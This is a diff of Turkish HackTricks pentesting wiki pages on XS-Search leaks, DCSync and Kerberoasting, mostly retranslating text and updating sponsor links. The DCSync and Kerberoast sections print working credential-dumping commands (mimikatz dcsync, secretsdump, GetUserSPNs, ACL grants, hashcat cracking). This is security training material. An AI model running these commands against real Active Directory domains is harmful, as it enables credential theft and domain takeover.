* **Algılanabilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
* **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Özet:** Bir isteği gerçekleştirmenin ne kadar zaman aldığını ölçmek için [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kullanın. Diğer saatler de kullanılabilir.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
@ -842,7 +837,7 @@ Bir yürütme zamanlamasında **ağ faktörlerini ortadan kaldırmak** ve **daha
### Çapraz-Pencere Zamanlaması
* **Dahil Etme Yöntemleri**: Açılır Pencereler
* **Algılanabilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu)
* **Algılanabilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
* **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Özet:** `window.open` kullanarak bir isteği gerçekleştirmenin ne kadar zaman aldığını ölçmek için [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kullanın. Diğer saatler de kullanılabilir.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
@ -850,14 +845,14 @@ Bir yürütme zamanlamasında **ağ faktörlerini ortadan kaldırmak** ve **daha
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## HTML veya Yeniden Enjeksiyon ile
Burada, bir çapraz kaynaktan HTML içeriği **enjekte ederek bilgiyi dışarı sızdırma tekniklerini** bulabilirsiniz. Bu teknikler, herhangi bir nedenle **HTML enjekte edebilir ancak JS kodu enjekte edemezsiniz** durumlarında ilginçtir.
Burada, bir çapraz kaynaktan HTML'den bilgi sızdırmak için teknikler bulabilirsiniz **HTML içeriği enjekte ederek**. Bu teknikler, herhangi bir nedenle **HTML enjekte edebilir ancak JS kodu enjekte edemezsiniz** durumlarında ilginçtir.
### Sarkan İşaretleme
@ -867,35 +862,35 @@ Burada, bir çapraz kaynaktan HTML içeriği **enjekte ederek bilgiyi dışarı
### Görüntü Tembel Yükleme
Eğer içeriği **dışarı sızdırmanız** gerekiyorsa ve **gizli öncesine HTML ekleyebiliyorsanız**, **ortak sarkan işaretleme tekniklerini** kontrol etmelisiniz.\
Eğer içeriği **sızdırmak** ve **gizli öncesine HTML ekleyebiliyorsanız** **ortak sarkan işaretleme tekniklerini** kontrol etmelisiniz.\
Ancak, herhangi bir nedenden dolayı bunu **her karakter için yapmalısınız** (belki iletişim bir önbellek vuruşu aracılığıyla ise) bu hileyi kullanabilirsiniz.
HTML'deki **resimlerin** bir "**yükleniyor**" özniteliği vardır ve değeri "**tembel**" olabilir. Bu durumda, resim yalnızca görüntülendiğinde yüklenecek ve sayfa yüklenirken değil:
HTML'deki **Görüntülerin** bir "**yükleniyor**" özniteliği vardır ve değeri "**tembel**" olabilir. Bu durumda, görüntü yalnızca görüntülendiğinde yüklenecek ve sayfa yüklenirken değil:
```html
<img src=/something loading=lazy >
```
Bu yüzden yapabileceğiniz şey, **web sayfasını gizli içerikten önce doldurmak için çok sayıda gereksiz karakter eklemek** (Örneğin **binlerce "W"**) veya **şuna benzer bir şey eklemek** `<br><canvas height="1850px"></canvas><br>.`\
Öyleyse örneğin **enjeksiyonumuz bayrağın önünde görünüyorsa**, **resim yüklenecek**, ancak bayraktan sonra görünüyorsa, bayrak + gereksiz karakterler **yükleme işlemini engelleyecektir** (ne kadar gereksiz karakter yerleştireceğinizle oynamanız gerekecektir). Bu, [**bu yazıda**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) ne olduğunu gösterir.
Bu yüzden yapabileceğiniz şey, **web sayfasını sırrın önünde doldurmak için çok sayıda gereksiz karakter eklemek** (Örneğin **binlerce "W"**) veya **şunun gibi bir şey eklemek** `<br><canvas height="1850px"></canvas><br>.`\
Öyleyse örneğin **enjeksiyonumuz bayrağın önünde görünüyorsa**, **resim yüklenecek**, ancak bayrağın **arkasında görünüyorsa**, bayrak + gereksiz karakterler **yükleme işlemini engelleyecektir** (ne kadar gereksiz karakter yerleştireceğinizle oynamanız gerekecek). Bu, [**bu yazıda**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) ne olduğunu gösterir.
Başka bir seçenek, izin veriliyorsa **scroll-to-text-fragment**'i kullanmaktır:
Başka bir seçenek, **izin veriliyorsa scroll-to-text-fragment**'i kullanmaktır:
#### Scroll-to-text-fragment
Ancak, **botun sayfaya erişmesini sağlamak için** şunun gibi bir şey yapabilirsiniz:
Ancak, **botun sayfaya erişmesini sağlamak için şunun gibi bir şey kullanabilirsiniz**
```
#:~:text=SECR
```
Web sayfası şöyle olacak: **`https://victim.com/post.html#:~:text=SECR`**
post.html, saldırganın gereksiz karakterler ve tembel yükleme görüntüsünü içerir ve ardından botun sırrı eklenir.
Burada post.html, saldırganın gereksiz karakterler ve tembel yükleme görüntüsünü içerir ve ardından botun sırrı eklenir.
Bu metin, botun sayfadaki `SECR` metnini içeren herhangi bir metne erişmesini sağlayacaktır. Çünkü bu metin sır ve **sadece görüntünün altında** olduğu için, **görüntü yalnızca tahmin edilen sır doğruysa yüklenecektir**. Bu şekilde, sırrı **harf harf dışarı sızdırmak için bir oracle** elde etmiş olursunuz.
Bu metin, botun sayfadaki `SECR` metnini içeren herhangi bir metne erişmesini sağlayacak. Çünkü bu metin sır ve **sadece görüntünün altında** ve **görüntü yalnızca doğru tahmin edilen sır olduğunda yüklenecek**. Bu şekilde, sırrı **harf harf dışarı sızdırmak için bir oracle'a** sahip olacaksınız.
Bunu sömürmek için bazı kod örnekleri: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Görüntü Tembel Yükleme Zaman Tabanlı
Eğer **harici bir görüntü yüklemek mümkün değilse** ve bu durum saldırganı görüntünün yüklendiğini gösterebilir, başka bir seçenek **birkaç kez harf tahmin etmeye çalışmak ve bunu ölçmektir**. Eğer görüntü yüklendiyse, tüm isteklerin süresi yüklenmediğindekinden daha uzun sürecektir. Bu, [**bu yazının çözümünde**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **kullanılan şeydir:**
Eğer **harcanan görüntü yüklenemiyorsa** ve bu, saldırganı görüntünün yüklendiğini gösteremezse, başka bir seçenek **birkaç kez harf tahmin etmeye çalışmak ve bunu ölçmektir**. Eğer görüntü yüklenirse, tüm isteklerin daha uzun sürmesi gerekir. Bu, [**bu yazının çözümünde**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **kullanılan şeydir:**
{% content-ref url="event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](event-loop-blocking-+-lazy-images.md)
@ -909,7 +904,7 @@ Eğer **harici bir görüntü yüklemek mümkün değilse** ve bu durum saldırg
### CSS ReDoS
Eğer `jQuery(location.hash)` kullanılıyorsa, **bazı HTML içeriğinin varlığını zamanlama ile tespit etmek mümkündür**, çünkü eğer `main[id='site-main']` seçicisi eşleşmiyorsa, geri kalan **seçicileri kontrol etmesine gerek yoktur**:
Eğer `jQuery(location.hash)` kullanılıyorsa, **bazı HTML içeriğinin varlığını zamanlama ile tespit etmek mümkündür**, çünkü eğer seçici `main[id='site-main']` eşleşmiyorsa, geri kalan **seçicileri kontrol etmesine gerek yoktur**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
@ -921,7 +916,7 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
## Savunmalar
[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) adresinde önerilen önlemler bulunmaktadır ve her bölümde [https://xsleaks.dev/](https://xsleaks.dev/) wiki sayfasında bu tekniklere karşı nasıl korunulacağı hakkında daha fazla bilgi bulabilirsiniz.
[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) adresinde önerilen önlemler bulunmaktadır ve her bölümde [https://xsleaks.dev/](https://xsleaks.dev/) adresinde daha fazla bilgi için bakabilirsiniz.
## Referanslar
@ -933,15 +928,15 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -951,4 +946,4 @@ HackTricks'ı desteklemenin diğer yolları:
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Sağlayın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

View file

@ -3,21 +3,21 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve kolayca kullanın.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -28,17 +28,17 @@ HackTricks'ı desteklemenin diğer yolları:
**DCSync Hakkında Önemli Notlar:**
* **DCSync saldırısı, bir Etki Alanı Denetleyicisinin davranışını taklit eder ve diğer Etki Alanı Denetleyicilerinden bilgi replike etmelerini ister** Directory Replication Service Remote Protocol (MS-DRSR) kullanarak. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan kapatılamaz veya devre dışı bırakılamaz.
* Varsayılan olarak sadece **Domain Admins, Enterprise Admins, Administrators ve Domain Controllers** grupları gerekli ayrıcalıklara sahiptir.
* Eğer herhangi bir hesap şifresi tersine çevrilebilir şifreleme ile saklanıyorsa, Mimikatz'da şifreyi düz metin olarak geri döndürme seçeneği bulunmaktadır.
* **DCSync saldırısı, bir Etki Alanı Denetleyicisinin davranışını taklit eder ve diğer Etki Alanı Denetleyicilerinden bilgi replike etmelerini ister**. Bu, Dizin Repikasyon Hizmeti Uzak Protokolü (MS-DRSR) kullanılarak yapılır. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan kapatılamaz veya devre dışı bırakılamaz.
* Varsayılan olarak sadece **Etki Alanı Yöneticileri, Kurumsal Yöneticiler, Yöneticiler ve Etki Alanı Denetleyicileri** grupları gerekli ayrıcalıklara sahiptir.
* Eğer herhangi bir hesap şifresi tersine çevrilebilir şifreleme ile saklanıyorsa, Mimikatz'da şifreyi ık metin olarak döndürme seçeneği bulunmaktadır.
### Enumeration
### Numaralandırma
Bu izinlere kimin sahip olduğunu `powerview` kullanarak kontrol edin:
```powershell
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### Yerel Sızma
### Yerel Sömürü
```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
@ -51,9 +51,9 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
```
`-just-dc` 3 dosya oluşturur:
* biri **NTLM karmaları** ile
* biri **Kerberos anahtarları** ile
* NTDS'den açık metin parolaları içeren bir dosya, etkinleştirilmiş [**tersine çevrilebilir şifreleme**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) ile ayarlanmış hesaplar için. Tersine çevrilebilir şifreleme ile ayarlanmış kullanıcıları alabilirsiniz:
* **NTLM hash'leri** içeren bir dosya
* **Kerberos anahtarlarını** içeren bir dosya
* NTDS'den açık metin şifrelerini içeren bir dosya, [**tersine çevrilebilir şifreleme**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) etkin olan hesaplar için. Tersine çevrilebilir şifreleme ile ayarlanmış hesapları alabilirsiniz:
```powershell
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
@ -65,7 +65,7 @@ Eğer bir etki alanı yöneticisiyseniz, `powerview` yardımıyla bu izinleri he
```powershell
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
Ardından, kullanıcının doğru şekilde atandığını kontrol edebilirsiniz, bunun için (ayrıcalıkların isimlerini "ObjectType" alanı içinde görebilmelisiniz) çıktıda arayın:
Ardından, kullanıcının doğru şekilde atanıp atanmadığını kontrol edebilirsiniz, bunları (ayrıcalıkların adlarını "ObjectType" alanı içinde görebilmelisiniz) çıktıda arayarak kontrol edin:
```powershell
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
@ -83,22 +83,22 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve **kolayca** uygulayın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
<details>
@ -14,31 +14,31 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
</details>
## Kerberoast
Kerberoasting, özellikle **Active Directory (AD)** altında **kullanıcı hesapları** altında çalışan hizmetlerle ilgili **TGS biletlerinin** elde edilmesine odaklanır, **bilgisayar hesaplarını** hariç tutar. Bu biletlerin şifrelemesi, **kullanıcı şifrelerinden** kaynaklanan anahtarlar kullanır ve **çevrimdışı kimlik bilgilerinin kırılma** olasılığı sağlar. Bir hizmetin bir kullanıcı hesabı olarak kullanılması, boş olmayan bir **"ServicePrincipalName"** özelliği ile belirtilir.
Kerberoast, özellikle **Active Directory (AD)** altında **kullanıcı hesapları** ile çalışan hizmetlere ait **TGS biletlerinin** elde edilmesine odaklanır, **bilgisayar hesaplarını** hariç tutar. Bu biletlerin şifrelemesi, **kullanıcı şifrelerinden** kaynaklanan anahtarlar kullanır ve **çevrimdışı kimlik bilgilerinin kırılma** olasılığı sağlar. Bir hizmetin bir kullanıcı hesabı olarak kullanılması, boş olmayan bir **"ServicePrincipalName"** özelliği ile belirtilir.
**Kerberoasting**'i gerçekleştirmek için **TGS biletleri isteyebilen bir etki alanı hesabı** gereklidir; ancak, bu işlem **özel ayrıcalıklar** gerektirmez, bu nedenle **geçerli etki alanı kimlik bilgilerine** sahip herkes tarafından erişilebilir.
**Kerberoast**'i yürütmek için **TGS biletleri** isteyebilen bir etki alanı hesabı gereklidir; ancak, bu işlem **özel ayrıcalıklar** gerektirmez, bu nedenle **geçerli etki alanı kimlik bilgilerine** sahip herkes tarafından erişilebilir.
### Ana Noktalar:
* **Kerberoasting**, **AD** içindeki **kullanıcı hesabı hizmetleri** için **TGS biletlerini** hedefler.
* **Kullanıcı şifrelerinden** kaynaklanan anahtarlarla şifrelenen biletler **çevrimdışı kırılabilir**.
* **Kerberoast**, **AD** içindeki **kullanıcı hesabı hizmetleri** için **TGS biletlerini** hedefler.
* **Kullanıcı şifrelerinden** gelen anahtarlarla şifrelenen biletler **çevrimdışı kırılabilir**.
* Bir hizmet, boş olmayan bir **ServicePrincipalName** ile tanımlanır.
* Sadece **geçerli etki alanı kimlik bilgileri** gereklidir, **özel ayrıcalıklar** gerekmez.
### **Saldırı**
{% hint style="warning" %}
**Kerberoasting araçları** genellikle saldırıyı gerçekleştirirken ve TGS-REQ isteklerini başlatırken **`RC4 şifrelemesini`** talep eder. Bu, **RC4'ün** diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan **daha zayıf** olması ve Hashcat gibi araçlar kullanılarak **çevrimdışı kırılmasının** daha kolay olması nedeniyledir.\
**Kerberoast araçları** genellikle saldırıyı gerçekleştirirken ve TGS-REQ isteklerini başlatırken **`RC4 şifrelemesi`** istemektedir. Bu, **RC4'ün** diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan **daha zayıf** olması ve Hashcat gibi araçlarla **çevrimdışı kırılmasının** daha kolay olması nedeniyledir.\
RC4 (tip 23) hash'leri **`$krb5tgs$23$*`** ile başlarken, AES-256 (tip 18) **`$krb5tgs$18$*`** ile başlar.
{% endhint %}
@ -53,14 +53,14 @@ GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERN
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
```
Çok özellikli araçlar arasında kerberoast edilebilir kullanıcıların bir dökümü bulunmaktadır:
Çok özellikli araçlar, kerberoast edilebilir kullanıcıların bir dökümünü içerir:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
* **Kerberoast edilebilir kullanıcıları sırala**
* **Kerberoast edilebilir kullanıcıları listeleyin**
```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
@ -110,10 +110,10 @@ Bir TGS istendiğinde, Windows etkinliği `4769 - Bir Kerberos hizmet bileti ist
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
### Kırılma
```bash
@ -123,44 +123,44 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
```
### Kalıcılık
